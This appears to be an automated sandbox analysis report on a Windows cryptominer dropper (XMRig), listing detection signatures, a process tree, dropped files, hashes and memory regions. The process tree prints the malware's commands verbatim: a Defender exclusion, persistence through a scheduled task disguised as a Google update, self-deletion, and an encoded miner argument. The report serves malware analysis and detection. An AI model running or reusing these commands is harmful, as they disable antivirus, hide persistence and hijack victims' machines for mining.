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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

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23/01/2024, 19:27

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240123-x584esgbd510

Analysis

  • max time kernel
    1822s
  • max time network
    1828s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1084
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2860
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:864
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2596
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1280
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:3056
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2688
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1660
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1620
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2040
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {5D3C34CF-81D8-402F-93DB-98F8F8634850} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2148
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2020

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 155KB
              • SHA256 daf86ae8638993e4c042ede22d2dc9f69a2eb4f1d86480de6e7702e65c48129b
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 916KB
              • SHA256 8c2d6891b2083d2e1628380aefbf61696e0feede01a82999eb4d8a36e81b1dca
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              ZEVJ08PLPS7KVT69LJYL.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZEVJ08PLPS7KVT69LJYL.temp
              • Size 7KB
              • SHA256 919b1c4ef16a92365137086ba7ef3434f0607e25fba10da13305a5117b6a4b82
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 107KB
              • SHA256 7e296df2539c3779f11cf0afc7dda65c2238f8b7184808f15e7817a158f23874
              • MD5 SHA1 SHA512 SSDEEP

              memory/1280-58-0x0000000001150000-0x00000000011D0000-memory.dmp

              memory/1280-57-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/1280-55-0x0000000001150000-0x00000000011D0000-memory.dmp

              memory/1280-56-0x0000000001150000-0x00000000011D0000-memory.dmp

              memory/1280-59-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/1280-54-0x0000000001150000-0x00000000011D0000-memory.dmp

              memory/1280-53-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/1620-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1620-75-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2040-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-79-0x0000000000B40000-0x0000000000B60000-memory.dmp

              memory/2040-78-0x0000000000B20000-0x0000000000B40000-memory.dmp

              memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-68-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2040-67-0x0000000000550000-0x0000000000570000-memory.dmp

              memory/2040-69-0x0000000000B20000-0x0000000000B40000-memory.dmp

              memory/2040-70-0x0000000000B40000-0x0000000000B60000-memory.dmp

              memory/2148-45-0x000000013FE50000-0x0000000140061000-memory.dmp

              memory/2148-66-0x000000013FE50000-0x0000000140061000-memory.dmp

              memory/2224-30-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/2224-0-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/2224-27-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/2524-19-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

              memory/2524-24-0x0000000002050000-0x00000000020D0000-memory.dmp

              memory/2524-20-0x00000000020D0000-0x00000000020D8000-memory.dmp

              memory/2524-28-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2524-26-0x0000000002050000-0x00000000020D0000-memory.dmp

              memory/2524-21-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2524-22-0x0000000002050000-0x00000000020D0000-memory.dmp

              memory/2524-23-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2524-25-0x0000000002050000-0x00000000020D0000-memory.dmp

              memory/2596-51-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/2596-49-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2596-52-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2596-50-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/2596-48-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/2596-47-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2776-12-0x0000000001F90000-0x0000000002010000-memory.dmp

              memory/2776-9-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2776-10-0x0000000001F90000-0x0000000002010000-memory.dmp

              memory/2776-11-0x0000000001F90000-0x0000000002010000-memory.dmp

              memory/2776-13-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2776-8-0x0000000001F90000-0x0000000002010000-memory.dmp

              memory/2776-7-0x0000000002830000-0x0000000002838000-memory.dmp

              memory/2776-6-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2776-5-0x000000001B080000-0x000000001B362000-memory.dmp

              memory/2860-41-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2860-36-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2860-37-0x0000000002600000-0x0000000002680000-memory.dmp

              memory/2860-39-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2860-40-0x0000000002604000-0x0000000002607000-memory.dmp

              memory/2860-38-0x000000000260B000-0x0000000002672000-memory.dmp